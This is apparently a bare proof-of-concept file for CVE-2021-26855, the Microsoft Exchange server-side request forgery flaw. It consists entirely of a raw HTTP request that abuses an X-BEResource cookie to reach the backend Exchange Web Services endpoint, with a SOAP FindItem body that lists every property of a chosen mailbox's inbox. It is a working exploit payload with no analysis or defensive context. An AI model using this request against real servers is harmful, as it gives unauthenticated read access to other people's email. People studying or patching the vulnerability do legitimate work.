CVE-2021-26855_read_poc.txt

POST /ecp/poc-2021-26855.js HTTP/1.1
Host: <target>
User-Agent: Mozilla/5.0
Cookie: X-BEResource=<Target's FQDN>/EWS/Exchange.asmx?a=~1942062522;
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: text/xml
Content-Length: 845

<?xml version='1.0' encoding='utf-8'?>
<soap:Envelope
 xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'
 xmlns:t='http://schemas.microsoft.com/exchange/services/2006/types'
 xmlns:m='http://schemas.microsoft.com/exchange/services/2006/messages'
 xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'>
  <soap:Header>
      <t:RequestServerVersion Version="Exchange2016" />
  </soap:Header>
  <soap:Body>
    <m:FindItem Traversal='Shallow'>
      <m:ItemShape>
        <t:BaseShape>AllProperties</t:BaseShape>
      </m:ItemShape>
      <m:ParentFolderIds>
        <t:DistinguishedFolderId Id='inbox'>
          <t:Mailbox>
            <t:EmailAddress>researcher@blackmarket.com</t:EmailAddress>
          </t:Mailbox>
        </t:DistinguishedFolderId>
      </m:ParentFolderIds>
    </m:FindItem>
  </soap:Body>
</soap:Envelope>